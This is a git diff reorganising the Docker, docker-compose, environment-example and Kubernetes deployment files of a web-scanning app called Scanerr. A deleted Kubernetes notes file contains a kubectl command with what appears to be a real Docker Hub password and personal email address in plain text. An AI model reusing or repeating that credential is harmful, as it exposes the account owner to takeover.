+TEST_THRESHOLD = 95 + + +# Global Scan & Test types +TYPES = ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'] + + diff --git a/app/scanerr/urls.py b/app/scanerr/urls.py index 50d33dcf..4574aef0 100644 --- a/app/scanerr/urls.py +++ b/app/scanerr/urls.py @@ -3,6 +3,9 @@ + + + urlpatterns = [ path('admin/', admin.site.urls), path('', include('api.urls')), diff --git a/archive/Dockerfile b/archive/Dockerfile new file mode 100644 index 00000000..cf1102d9 --- /dev/null +++ b/archive/Dockerfile @@ -0,0 +1,81 @@ +# pull main python image +FROM python:3.9-slim +ENV PYTHONUNBUFFERED 1 + +# increasing allocated memory to node +ENV NODE_OPTIONS=--max_old_space_size=20000 +ENV NODE_OPTIONS="--max-old-space-size=20000" +ENV GENERATE_SOURCEMAP=false + +# telling Puppeteer to skip installing Chrome +ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=true + +# telling phantomas where Chrome binary is and that we're in docker +ENV PHANTOMAS_CHROMIUM_EXECUTABLE=/usr/bin/chromium +ENV DOCKERIZED=yes + +# Set up the Chromium environment +ENV XDG_CONFIG_HOME=/tmp/.chromium +ENV XDG_CACHE_HOME=/tmp/.chromium + +# create the app user +RUN addgroup --system app && adduser --system app + +# installing python3 & pip +RUN apt-get update && apt-get install -y python3 python3-pip + +# installing system deps +RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \ + gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ + libfontconfig firefox-esr apt-transport-https software-properties-common + +# installing google-chrome-stable +RUN curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb +RUN apt-get install -y ./google-chrome-stable_current_amd64.deb +RUN rm google-chrome-stable_current_amd64.deb + +# Download and install Microsoft Edge +RUN curl https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.gpg && \ + install -o root -g root -m 644 microsoft.gpg /etc/apt/trusted.gpg.d/ && \ + sh -c 'echo "deb [arch=amd64] https://packages.microsoft.com/repos/edge stable main" > \ + /etc/apt/sources.list.d/microsoft-edge.list' && \ + apt-get update && apt-get install -y microsoft-edge-stable && \ + apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* microsoft.gpg + +# installing node and npm --> n lts +RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \ + && npm install -g n \ + && n lts + +# cleaning npm +RUN npm cache clean --force + +# installing lighthouse +RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools + +# setting --no-sandbox & --disable-dev-shm-usage +RUN chromium --no-sandbox --version +RUN chromium --disable-dev-shm-usage --version + +# installing requirements +COPY ./setup/requirements/requirements.txt /requirements.txt +RUN python3 -m pip install -r /requirements.txt + +# removing chromium config +RUN rm -rf ~/.config/chromium + +# setting working dir +RUN mkdir /app +COPY ./app /app +WORKDIR /app + +# setting ownership +RUN chown -R app:app /app +RUN chown -R app:app /usr/bin/chromium +RUN chown -R app:app /usr/bin/chromedriver +RUN chmod +x /usr/bin/chromedriver + +# staring up services +COPY ./setup/scripts/remote-entrypoint.sh "/remote-entrypoint.sh" +ENTRYPOINT [ "/remote-entrypoint.sh" ] + diff --git a/archive/Dockerfile.local b/archive/Dockerfile.local new file mode 100644 index 00000000..5ac483bf --- /dev/null +++ b/archive/Dockerfile.local @@ -0,0 +1,74 @@ +# pull main ubuntu image and set platform to linux/amd64 +FROM --platform=linux/amd64 ubuntu:latest +ENV DOCKER_DEFAULT_PLATFORM linux/amd64 +ENV PYTHONUNBUFFERED 1 +ENV DEBIAN_FRONTEND noninteractive + +# increasing allocated memory to node +ENV NODE_OPTIONS=--max_old_space_size=7000 +ENV NODE_OPTIONS="--max-old-space-size=7000" + +# telling Puppeteer to skip installing Chrome +ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=true + +# telling phantomas where Chrome binary is and that we're in docker +ENV PHANTOMAS_CHROMIUM_EXECUTABLE=/usr/bin/google-chrome-stable +ENV DOCKERIZED=yes + +# create the app user +RUN groupadd --system app & useradd --system app + +# installing python3 & pip +RUN apt-get update && apt-get install -y python3.10 python3-pip + +# installing system deps +RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \ + gfortran openssl libpq-dev curl libjpeg-dev libfontconfig firefox \ + apt-transport-https software-properties-common libglib2.0-0 libsm6 \ + libxrender1 libxext6 libgl1 + +# installing google-chrome-stable +RUN curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb +RUN apt-get install -y ./google-chrome-stable_current_amd64.deb +RUN rm google-chrome-stable_current_amd64.deb + +# install microsoft-edge-stable +RUN curl https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.gpg && \ + install -o root -g root -m 644 microsoft.gpg /etc/apt/trusted.gpg.d/ && \ + sh -c 'echo "deb [arch=amd64] https://packages.microsoft.com/repos/edge stable main" > \ + /etc/apt/sources.list.d/microsoft-edge.list' && \ + apt-get update && apt-get install -y microsoft-edge-stable && \ + apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* microsoft.gpg + +# installing node and npm +RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \ + && npm install -g n && n lts + +# begin npm portion +RUN npm cache clean --force + +# installing lighthouse & yellowlabtools +RUN npm install -g lighthouse lighthouse-plugin-crux lodash + +# setting --no-sandbox for Phantomas +RUN google-chrome-stable --no-sandbox --version + +# installing requirements +RUN python3 -m pip install --break-system-packages --upgrade setuptools +COPY ./setup/requirements/requirements-staging.txt /requirements-staging.txt +RUN python3 -m pip install --break-system-packages -r /requirements-staging.txt + +# setting working dir +RUN mkdir /app +COPY ./app /app +WORKDIR /app + +# setting ownership +RUN chown -R app:app /app +RUN chown -R app:app /usr/bin/google-chrome-stable +RUN chown -R app:app /usr/bin/firefox +RUN chown -R app:app /usr/bin/microsoft-edge-stable + +# staring up services +COPY ./setup/scripts/local-entrypoint.sh "/local-entrypoint.sh" +ENTRYPOINT [ "/local-entrypoint.sh" ] diff --git a/archive/docker-compose.dev.yml b/archive/docker-compose.dev.yml new file mode 100644 index 00000000..51c7796d --- /dev/null +++ b/archive/docker-compose.dev.yml @@ -0,0 +1,140 @@ +services: + + + app: + container_name: scanerr-app + hostname: scanerr-app + restart: always + privileged: true + init: true + build: + context: . + dockerfile: Dockerfile + entrypoint: ["/remote-entrypoint.sh", "app"] + expose: + - 8000 + env_file: + - ./env/.env.dev + volumes: + - ./app:/app + - static_volume:/app/static + depends_on: + - db + + + db: + container_name: scanerr-db + hostname: scanerr-db + image: postgres:14-alpine + ports: + - "5432" + env_file: + - ./env/.env.dev + volumes: + - pgdata:/var/lib/postgresql/data + + + redis: + container_name: scanerr-redis + hostname: scanerr-redis + image: redis:alpine + ports: + - "6379" + + + celery: + container_name: scanerr-celery + hostname: scanerr-celery + privileged: true + restart: always + build: + context: . + dockerfile: Dockerfile + entrypoint: ["/remote-entrypoint.sh", "celery"] + env_file: + - ./env/.env.dev + volumes: + - ./app:/scanerr + depends_on: + - redis + - app + - db + + + beat: + container_name: scanerr-beat + hostname: scanerr-beat + privileged: true + restart: always + build: + context: . + dockerfile: Dockerfile + entrypoint: ["/remote-entrypoint.sh", "beat"] + volumes: + - ./app:/scanerr + env_file: + - ./env/.env.dev + depends_on: + - redis + - celery + - app + - db + + + yellowlab: + container_name: yellowlab + hostname: yellowlab + privileged: true + restart: always + image: scanerr/ylt + ports: + - 8383:8383 + depends_on: + - redis + - celery + - app + - db + + + nginx-proxy: + container_name: nginx-proxy + hostname: nginx-proxy + build: nginx + restart: always + ports: + - 443:443 + - 80:80 + volumes: + - static_volume:/app/static + - certs:/etc/nginx/certs + - html:/usr/share/nginx/html + - vhost:/etc/nginx/vhost.d + - /var/run/docker.sock:/tmp/docker.sock:ro + depends_on: + - app + + + nginx-proxy-letsencrypt: + container_name: nginx-proxy-letsencrypt + hostname: nginx-proxy-letsencrypt + image: nginxproxy/acme-companion + environment: + - DEFAULT_EMAIL=youremail@yourdomain.com + - NGINX_PROXY_CONTAINER=nginx-proxy + volumes: + - /var/run/docker.sock:/var/run/docker.sock:ro + - certs:/etc/nginx/certs + - html:/usr/share/nginx/html + - vhost:/etc/nginx/vhost.d + - letsencrypt-acme:/etc/acme.sh + depends_on: + - nginx-proxy + + +volumes: + static_volume: + letsencrypt-acme: + pgdata: + certs: + html: + vhost: \ No newline at end of file diff --git a/archive/remote-entrypoint.sh b/archive/remote-entrypoint.sh new file mode 100755 index 00000000..c11229a2 --- /dev/null +++ b/archive/remote-entrypoint.sh @@ -0,0 +1,29 @@ +#!/bin/bash + +# spin up app in remote env +if [[ $1 == *"app"* ]] +then + python3 manage.py wait_for_db && + python3 manage.py makemigrations --no-input && + python3 manage.py migrate --no-input && + python3 manage.py collectstatic --no-input && + python3 manage.py create_admin && + python3 manage.py driver_test && + gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000 +fi + +# spin up celery in remote env +if [[ $1 == *"celery"* ]] +then + python3 manage.py wait_for_db && + echo "pausing for migrations to complete..." && sleep 7s && + celery -A scanerr worker -E --loglevel=info -O fair +fi + +# spin up celery beat in remote env +if [[ $1 == *"beat"* ]] +then + python3 manage.py wait_for_db && + echo "pausing for migrations to complete..." && sleep 7s && + celery -A scanerr beat --scheduler django --loglevel=info +fi diff --git a/requirements.txt b/archive/requirements.txt similarity index 85% rename from requirements.txt rename to archive/requirements.txt index df9fe6b2..46d35ecf 100644 --- a/requirements.txt +++ b/archive/requirements.txt @@ -1,9 +1,10 @@ amqp==5.0.6 asgiref==3.3.4 +beautifulsoup4==4.12.2 billiard==3.6.4.0 boto3==1.20.32 celery==5.1.0 -certifi==2021.5.30 +certifi==2023.7.22 chardet==4.0.0 click==7.1.2 click-didyoumean==0.0.3 @@ -21,28 +22,29 @@ docker==5.0.0 gunicorn==20.1.0 humanize==3.7.0 idna==2.10 +imutils==0.5.4 kombu==5.1.0 Markdown==3.3.4 numpy==1.22.3 +openai==1.35.14 opencv-python==4.5.5.64 -Pillow==9.0.0 +Pillow==9.0.1 prometheus-client==0.8.0 prompt-toolkit==3.0.18 psycopg2==2.8.6 pyjwt==2.1.0 -pyppeteer==1.0.2 pytz==2021.1 redis==3.5.3 requests==2.25.1 reportlab==3.6.6 +scikit-image==0.21.0 scipy==1.8.0 -selenium==4.1.3 +selenium==4.18.1 sendgrid==6.9.7 -sewar==0.4.4 six==1.16.0 slack-sdk==3.11.2 sqlparse==0.4.1 -stripe==2.60.0 +stripe==8.0.0 tornado==6.1 twilio==7.3.0 urllib3==1.26.5 diff --git a/commands b/commands.txt similarity index 56% rename from commands rename to commands.txt index a6764d18..ee2080db 100644 --- a/commands +++ b/commands.txt @@ -1,8 +1,11 @@ +### easy local script ### +source ./setup/scripts/local.sh + ### spins up container on localhost ### -docker compose up --build +docker compose -f docker-compose.local.yml up --build ### spins down container on localhost ### -docker compose down +docker compose -f docker-compose.local.yml down @@ -20,3 +23,11 @@ docker compose -f docker-compose.dev.yml up -d --build ### spins down the container ### docker compose -f docker-compose.dev.yml down + + +### spins up the container for staging migrations ### +docker compose -f docker-compose.stage.yml up --build + +### spins down the container ### +docker compose -f docker-compose.stage.yml down + diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml index f09772ed..1bb2c60c 100644 --- a/docker-compose.dev.yml +++ b/docker-compose.dev.yml @@ -1,32 +1,32 @@ -version: '3' - services: + + app: + container_name: scanerr-app + hostname: scanerr-app + platform: linux/amd64 privileged: true + restart: always init: true build: context: . - dockerfile: Dockerfile.prod - volumes: - - ./app:/app - - static_volume:/app/static - command: > - sh -c "python3 manage.py makemigrations --no-input && - python3 manage.py migrate --no-input && - python3 manage.py collectstatic --no-input && - python3 manage.py wait_for_db && - python3 manage.py create_admin && - python3 manage.py driver_s_test && - python3 manage.py driver_p_test && - gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000" + dockerfile: Dockerfile + entrypoint: ["/entrypoint.sh", "app", "remote"] expose: - 8000 env_file: - ./env/.env.dev + volumes: + - app:/app + - static_volume:/app/static + depends_on: + - db - + db: - image: postgres:10-alpine + container_name: scanerr-db + hostname: scanerr-db + image: postgres:14-alpine ports: - "5432" env_file: @@ -36,30 +36,72 @@ services: redis: + container_name: scanerr-redis + hostname: scanerr-redis image: redis:alpine ports: - "6379" celery: + container_name: scanerr-celery + hostname: scanerr-celery + platform: linux/amd64 + privileged: true + restart: always + build: + context: . + dockerfile: Dockerfile + entrypoint: ["/entrypoint.sh", "celery"] + env_file: + - ./env/.env.dev + volumes: + - celery:/app + depends_on: + - redis + - app + - db + + + beat: + container_name: scanerr-beat + hostname: scanerr-beat + platform: linux/amd64 privileged: true restart: always build: context: . - dockerfile: Dockerfile.prod - command: celery -A scanerr worker --beat --scheduler django --loglevel=info + dockerfile: Dockerfile + entrypoint: ["/entrypoint.sh", "beat"] volumes: - - ./app:/scanerr + - beat:/app env_file: - ./env/.env.dev depends_on: - redis + - celery + - app + - db + + + yellowlab: + container_name: yellowlab + hostname: yellowlab + privileged: true + restart: always + image: scanerr/ylt + ports: + - 8383:8383 + depends_on: + - redis + - celery - app - db nginx-proxy: container_name: nginx-proxy + hostname: nginx-proxy build: nginx restart: always ports: @@ -76,9 +118,12 @@ services: nginx-proxy-letsencrypt: - image: nginxproxy/acme-companion # LEGACY -> jrcs/letsencrypt-nginx-proxy-companion - env_file: - - ./env/.env.prod.proxy-companion + container_name: nginx-proxy-letsencrypt + hostname: nginx-proxy-letsencrypt + image: nginxproxy/acme-companion + environment: + - DEFAULT_EMAIL=youremail@yourdomain.com + - NGINX_PROXY_CONTAINER=nginx-proxy volumes: - /var/run/docker.sock:/var/run/docker.sock:ro - certs:/etc/nginx/certs @@ -90,9 +135,12 @@ services: volumes: + app: + celery: + beat: static_volume: letsencrypt-acme: + pgdata: certs: html: - vhost: - pgdata: \ No newline at end of file + vhost: \ No newline at end of file diff --git a/docker-compose.local.yml b/docker-compose.local.yml new file mode 100644 index 00000000..6fbb1393 --- /dev/null +++ b/docker-compose.local.yml @@ -0,0 +1,103 @@ +services: + + + app: + container_name: scanerr-app + hostname: scanerr-app + platform: linux/amd64 + privileged: true + restart: always + init: true + build: + context: . + dockerfile: Dockerfile + ports: + - "8000:8000" + entrypoint: ["/entrypoint.sh", "app", "local"] + env_file: + - ./env/.env.local + volumes: + - app:/app + depends_on: + - db + + + db: + container_name: scanerr-db + hostname: scanerr-db + image: postgres:14-alpine + env_file: + - ./env/.env.local + volumes: + - pgdata:/var/lib/postgresql/data + + + redis: + container_name: scanerr-redis + hostname: scanerr-redis + image: redis:alpine + ports: + - "6379" + + + celery: + container_name: scanerr-celery + hostname: scanerr-celery + platform: linux/amd64 + privileged: true + restart: always + build: + context: . + dockerfile: Dockerfile + entrypoint: ["/entrypoint.sh", "celery"] + volumes: + - celery:/app + env_file: + - ./env/.env.local + depends_on: + - redis + - app + - db + + + beat: + container_name: scanerr-beat + hostname: scanerr-beat + platform: linux/amd64 + privileged: true + restart: always + build: + context: . + dockerfile: Dockerfile + entrypoint: ["/entrypoint.sh", "beat"] + volumes: + - beat:/app + env_file: + - ./env/.env.local + depends_on: + - redis + - celery + - app + - db + + + yellowlab: + container_name: yellowlab + hostname: yellowlab + privileged: true + restart: always + image: scanerr/ylt + ports: + - 8383:8383 + depends_on: + - redis + - celery + - app + - db + + +volumes: + pgdata: + app: + celery: + beat: diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml index cc375e35..0b9355d0 100644 --- a/docker-compose.prod.yml +++ b/docker-compose.prod.yml @@ -1,55 +1,105 @@ -version: '3' - services: + + app: + container_name: scanerr-app + hostname: scanerr-app restart: always + platform: linux/amd64 privileged: true init: true build: context: . - dockerfile: Dockerfile.prod - # image: landonr/scanerr-server - volumes: - - ./app:/app - - static_volume:/app/static - command: > - sh -c "python3 manage.py makemigrations --no-input && - python3 manage.py migrate --no-input && - python3 manage.py collectstatic --no-input && - python3 manage.py wait_for_db && - python3 manage.py create_admin && - python3 manage.py driver_s_test && - python3 manage.py driver_p_test && - gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000" + dockerfile: Dockerfile + entrypoint: ["/entrypoint.sh", "app", "remote"] expose: - 8000 env_file: - ./env/.env.prod + volumes: + - app:/app + - static_volume:/app/static + depends_on: + - db + + + db: + container_name: scanerr-db + hostname: scanerr-db + image: postgres:14-alpine + ports: + - "5432" + env_file: + - ./env/.env.prod + volumes: + - pgdata:/var/lib/postgresql/data + redis: + container_name: scanerr-redis + hostname: scanerr-redis image: redis:alpine ports: - "6379" + celery: + container_name: scanerr-celery + hostname: scanerr-celery + privileged: true + restart: always + build: + context: . + dockerfile: Dockerfile + entrypoint: ["/entrypoint.sh", "celery"] + env_file: + - ./env/.env.prod + volumes: + - celery:/app + depends_on: + - redis + - app + - db + + + beat: + container_name: scanerr-beat + hostname: scanerr-beat privileged: true restart: always build: context: . - dockerfile: Dockerfile.prod - # image: landonr/scanerr-server - command: celery -A scanerr worker --beat --scheduler django --loglevel=info + dockerfile: Dockerfile + entrypoint: ["/entrypoint.sh", "beat"] volumes: - - ./app:/scanerr + - beat:/app env_file: - ./env/.env.prod depends_on: - redis + - celery - app + - db + + + yellowlab: + container_name: yellowlab + hostname: yellowlab + privileged: true + restart: always + image: scanerr/ylt + ports: + - 8383:8383 + depends_on: + - redis + - celery + - app + - db nginx-proxy: container_name: nginx-proxy + hostname: nginx-proxy build: nginx restart: always ports: @@ -66,9 +116,12 @@ services: nginx-proxy-letsencrypt: - image: nginxproxy/acme-companion # LEGACY -> jrcs/letsencrypt-nginx-proxy-companion - env_file: - - ./env/.env.prod.proxy-companion + container_name: nginx-proxy-letsencrypt + hostname: nginx-proxy-letsencrypt + image: nginxproxy/acme-companion + environment: + - DEFAULT_EMAIL=youremail@yourdomain.com + - NGINX_PROXY_CONTAINER=nginx-proxy volumes: - /var/run/docker.sock:/var/run/docker.sock:ro - certs:/etc/nginx/certs @@ -80,8 +133,12 @@ services: volumes: + app: + celery: + beat: static_volume: letsencrypt-acme: + pgdata: certs: html: vhost: \ No newline at end of file diff --git a/docker-compose.stage.yml b/docker-compose.stage.yml new file mode 100644 index 00000000..0c92d71e --- /dev/null +++ b/docker-compose.stage.yml @@ -0,0 +1,20 @@ +services: + + + app: + container_name: scanerr-app + hostname: scanerr-app + platform: linux/amd64 + privileged: true + init: true + restart: always + build: + context: . + dockerfile: Dockerfile + ports: + - "8000:8000" + entrypoint: ["/entrypoint.sh", "app", "stage"] + env_file: + - ./env/.env.stage + volumes: + - ./app:/app diff --git a/docker-compose.yml b/docker-compose.yml deleted file mode 100644 index a8f492c0..00000000 --- a/docker-compose.yml +++ /dev/null @@ -1,62 +0,0 @@ -version: '3' -services: - - app: - privileged: true - init: true - restart: always - build: - context: . - dockerfile: Dockerfile.prod - # image: landonr/scanerr-server - ports: - - "8000:8000" - volumes: - - ./app:/app - command: > - sh -c "python3 manage.py makemigrations --no-input && - python3 manage.py migrate --no-input && - python3 manage.py collectstatic --no-input && - python3 manage.py wait_for_db && - python3 manage.py create_admin && - python3 manage.py driver_s_test && - python3 manage.py driver_p_test && - python3 manage.py runserver 0.0.0.0:8000" - env_file: - - ./env/.env.local - depends_on: - - db - - db: - image: postgres:10-alpine - ports: - - "5432" - env_file: - - ./env/.env.dev - volumes: - - pgdata:/var/lib/postgresql/data - - redis: - image: redis:alpine - ports: - - "6379" - - celery: - privileged: true - restart: always - build: - context: . - dockerfile: Dockerfile.prod - # image: landonr/scanerr-server - command: celery -A scanerr worker --beat --scheduler django --loglevel=info - volumes: - - ./app:/scanerr - env_file: - - ./env/.env.local - depends_on: - - db - - redis - - app - -volumes: - pgdata: diff --git a/env/.env.dev.example b/env/.env.dev.example index f05120b0..8697b4fb 100644 --- a/env/.env.dev.example +++ b/env/.env.dev.example @@ -1,11 +1,14 @@ # django SECRET_KEY = ask-for-this-or-generate-yourself -CLIENT_URL_ROOT = https://app.example.io # example -API_URL_ROOT = https://api.example.io # example -LETSENCRYPT_HOST = api.example.io # example -VIRTUAL_HOST = api.example.io # example +CLIENT_URL_ROOT = https://app.example.io # example +API_URL_ROOT = https://api.example.io # example +YELLOWLAB_ROOT = http://yellowlab.example.io:8383 # example +LIGHTHOUSE_ROOT = https://www.googleapis.com/pagespeedonline/v5/runPagespeed +LETSENCRYPT_HOST = api.example.io # example +VIRTUAL_HOST = api.example.io # example VIRTUAL_PORT = 8000 DJANGO_ALLOWED_HOSTS = * +DEBUG = True # admin credentials @@ -34,8 +37,9 @@ POSTGRES_PASSWORD=supersecretpassword # paths CHROMEDRIVER = /usr/bin/chromedriver -GOOGLECHROME = /usr/bin/google-chrome -CHROMIUM = /usr/bin/chromium +CHROME_BROWSER = /usr/bin/chromium +FIREFOX_BROWSER = /usr/bin/firefox +EDGE_BROWSER = /usr/bin/microsoft-edge-stable # stripe keys @@ -85,4 +89,14 @@ AWS_S3_REGION_NAME = sfo3 # example AWS_S3_ENDPOINT_URL = https://sfo3.digitaloceanspaces.com # example AWS_S3_URL_PATH = https://storage-scanerr.sfo3.digitaloceanspaces.com # example AWS_LOCATION = static -AWS_DEFAULT_ACL = public-read \ No newline at end of file +AWS_DEFAULT_ACL = public-read + + + +# OpenAI API key +GPT_API_KEY = sk-123450989776124ni989wed23e9dub # example + + + +# Self Hosted Cred +CRED = ask-for-this-cred-before-deploying \ No newline at end of file diff --git a/env/.env.prod.example b/env/.env.prod.example index 96d89f7c..107c2245 100644 --- a/env/.env.prod.example +++ b/env/.env.prod.example @@ -1,9 +1,11 @@ # high level django configs SECRET_KEY = ask-for-this-or-generate-yourself -CLIENT_URL_ROOT = https://app.example.io # example -LANDING_URL_ROOT = https://example.io # example -API_URL_ROOT = https://api.example.io # example -LETSENCRYPT_HOST = api.example.io # example +CLIENT_URL_ROOT = https://app.example.io # example +LANDING_URL_ROOT = https://example.io # example +API_URL_ROOT = https://api.example.io # example +YELLOWLAB_ROOT = http://yellowlab.example.io:8383 # example +LIGHTHOUSE_ROOT = https://www.googleapis.com/pagespeedonline/v5/runPagespeed +LETSENCRYPT_HOST = api.example.io # example DJANGO_ALLOWED_HOSTS = * @@ -31,8 +33,9 @@ DB_HOST = db-273428-user-ndjweodi2.b.db.ondigitalocean.com # example # paths CHROMEDRIVER = /usr/bin/chromedriver -GOOGLECHROME = /usr/bin/google-chrome -CHROMIUM = /usr/bin/chromium +CHROME_BROWSER = /usr/bin/chromium +FIREFOX_BROWSER = /usr/bin/firefox +EDGE_BROWSER = /usr/bin/microsoft-edge-stable # stripe keys @@ -83,4 +86,17 @@ AWS_S3_REGION_NAME = sfo3 # example AWS_S3_ENDPOINT_URL = https://sfo3.digitaloceanspaces.com # example AWS_S3_URL_PATH = https://storage-scanerr.sfo3.digitaloceanspaces.com # example AWS_LOCATION = static -AWS_DEFAULT_ACL = public-read \ No newline at end of file +AWS_DEFAULT_ACL = public-read + + + +# OpenAI API key +GPT_API_KEY = sk-123450989776124ni989wed23e9dub # example + + + +# Self Hosted Cred +CRED = ask-for-this-cred-before-deploying + + + diff --git a/env/.env.prod.proxy-companion b/env/.env.prod.proxy-companion deleted file mode 100644 index 085d84bf..00000000 --- a/env/.env.prod.proxy-companion +++ /dev/null @@ -1,2 +0,0 @@ -DEFAULT_EMAIL=youremail@yourdomain.com -NGINX_PROXY_CONTAINER=nginx-proxy \ No newline at end of file diff --git a/env/.env.local.example b/env/.env.stage.example similarity index 74% rename from env/.env.local.example rename to env/.env.stage.example index 40b50b9c..b9a61246 100644 --- a/env/.env.local.example +++ b/env/.env.stage.example @@ -3,7 +3,10 @@ SECRET_KEY = ask-for-this CLIENT_URL_ROOT = http://localhost:3000 CLIENT_URL_ROOT = http://localhost:3000 API_URL_ROOT = http://localhost:8000 +YELLOWLAB_ROOT = http://yellowlab.scanerr.io:8383 +LIGHTHOUSE_ROOT = https://www.googleapis.com/pagespeedonline/v5/runPagespeed DJANGO_ALLOWED_HOSTS = * +DEBUG = True # admin credentials @@ -21,19 +24,17 @@ EMAIL_HOST_PASSWORD = 1234456677888 # example # database configs -DB_HOST=db -DB_NAME=app -DB_USER=postgres -DB_PASS=supersecretpassword -POSTGRES_DB=app -POSTGRES_USER=postgres -POSTGRES_PASSWORD=supersecretpassword +DB_HOST = db +DB_NAME = app +DB_USER = postgres +DB_PASS = supersecretpassword # paths CHROMEDRIVER = /usr/bin/chromedriver -GOOGLECHROME = /usr/bin/google-chrome -CHROMIUM = /usr/bin/chromium +CHROME_BROWSER = /usr/bin/google-chrome +FIREFOX_BROWSER = /usr/bin/firefox +EDGE_BROWSER = /usr/bin/microsoft-edge-stable # stripe keys @@ -81,4 +82,16 @@ AWS_S3_REGION_NAME = sfo3 # example AWS_S3_ENDPOINT_URL = https://sfo3.digitaloceanspaces.com # example AWS_S3_URL_PATH = https://storage-scanerr.sfo3.digitaloceanspaces.com # example AWS_LOCATION = static -AWS_DEFAULT_ACL = public-read \ No newline at end of file +AWS_DEFAULT_ACL = public-read + + + +# OpenAI API key +GPT_API_KEY = sk-123450989776124ni989wed23e9dub # example + + + +# Self Hosted Cred +CRED = ask-for-this-cred-before-deploying + + diff --git a/k8s/kubernetes-notes.md b/k8s/kubernetes-notes.md deleted file mode 100644 index 336cb823..00000000 --- a/k8s/kubernetes-notes.md +++ /dev/null @@ -1,84 +0,0 @@ -### Create k8s files in yaml (kompose) -```shell -kompose convert -f docker-compose.yml -o ./k8s -``` - -### Build k8s -```shell -kubectl apply -f ./k8s/k8s-local.yaml -``` - -### Delete k8s -```shell -kubectl delete -f ./k8s/k8s-local.yaml -``` - -### List containers -```shell -kubectl get pod -``` - -### List pods with IPs -```shell -kubectl get pod -o wide -``` - -### To get all creation events for debugging: -```shell -kubectl get events --sort-by=.metadata.creationTimestamp -``` - -### SSH into container: -```shell -kubectl exec -it celery-849f76858b-bvmqg -- /bin/sh -``` - -### Creating secrets for docker: -```shell -kubectl create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username=landonr --docker-password=Ljr500103! --docker-email=l.rodden52@gmail.com -``` - -#### - Then add this to both celery and app containers: -```yaml -spec: - imagePullSecrets: - - name: regcred -``` - -### Start and Stop minikube -```shell -minikube start -minikube stop -``` - -### Port Forwarding for app -```shell -kubectl port-forward service/app-service 8000:8000 -``` - - - -## Setps to Deploy localy -1. ensure minikube is running - - ``` minikube status ``` -2. create secrets for app image pull from docker - - ``` kubectl create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username=landonr --docker-password=Ljr500103! --docker-email=l.rodden52@gmail.com ``` -3. build db-configs-configs - - ``` kubectl apply db-configs.yaml ``` -4. build db-deployment - - ``` kubectl apply db-deployment.yaml ``` -5. build redis-deployment -6. get pod ip of db-deployment - - ``` kubectl get pod --template '{{.status.podIP}}' ``` - - or ``` kubectl get pod -o wide ``` -7. copy ip and paste into app-configs-configs for field "DB_HOST" -8. build app-configs - - ``` kubectl apply app-config.yaml ``` -9. build app-deployment - - ``` kubectl apply db-deployment.yaml ``` -10. build celery-deployment - - ``` kubectl apply db-deployment.yaml ``` -11. port forwarding to app deployment - - ``` kubectl port-forward service/app-service 8000:8000 ``` - - \ No newline at end of file diff --git a/k8s/local/app-deployment.yaml b/k8s/local/app-deployment.yaml index 36be9020..6925432c 100644 --- a/k8s/local/app-deployment.yaml +++ b/k8s/local/app-deployment.yaml @@ -16,7 +16,7 @@ spec: - name: regcred containers: - name: app - image: landonr/scanerr-server + image: scanerr/server:latest imagePullPolicy: IfNotPresent ports: - containerPort: 8000 @@ -29,7 +29,7 @@ spec: python3 manage.py migrate --no-input && python3 manage.py collectstatic --no-input && python3 manage.py create_admin && - python3 manage.py driver_s_test && + python3 manage.py driver_test && python3 manage.py driver_p_test && python3 manage.py runserver 0.0.0.0:8000 envFrom: diff --git a/k8s/local/celery-deployment.yaml b/k8s/local/celery-deployment.yaml index 64ed79e9..14acc537 100644 --- a/k8s/local/celery-deployment.yaml +++ b/k8s/local/celery-deployment.yaml @@ -16,7 +16,7 @@ spec: - name: regcred containers: - name: celery - image: landonr/scanerr-server + image: scanerr/server:latest imagePullPolicy: IfNotPresent command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info"] envFrom: diff --git a/k8s/prod/app-cert-issuer.yaml b/k8s/prod/app-cert-issuer.yaml new file mode 100644 index 00000000..761662e3 --- /dev/null +++ b/k8s/prod/app-cert-issuer.yaml @@ -0,0 +1,19 @@ +apiVersion: cert-manager.io/v1 +kind: ClusterIssuer +metadata: + name: letsencrypt-nginx + namespace: default +spec: + acme: + # The ACME server URL + server: https://acme-v02.api.letsencrypt.org/directory # https://acme-staging-v02.api.letsencrypt.org/directory + # Email address used for ACME registration + email: hello@scanerr.io + # Name of a secret used to store the ACME account private key + privateKeySecretRef: + name: letsencrypt-nginx-private-key + # Enable the HTTP-01 challenge provider + solvers: + - http01: + ingress: + class: nginx diff --git a/k8s/prod/app-configs-example.yaml b/k8s/prod/app-configs-example.yaml new file mode 100644 index 00000000..b8022016 --- /dev/null +++ b/k8s/prod/app-configs-example.yaml @@ -0,0 +1,72 @@ +apiVersion: v1 +kind: ConfigMap +metadata: + name: app-configs +data: + # django + SECRET_KEY : "ask-for-this-or-generate-yourself" + CLIENT_URL_ROOT : "https://app.yourdomain.com" + API_URL_ROOT : "https://api.yourdomain.com" + YELLOWLAB_ROOT : "http://ylt-service" + LIGHTHOUSE_ROOT : "https://www.googleapis.com/pagespeedonline/v5/runPagespeed" + LANDING_API_KEY : "" + 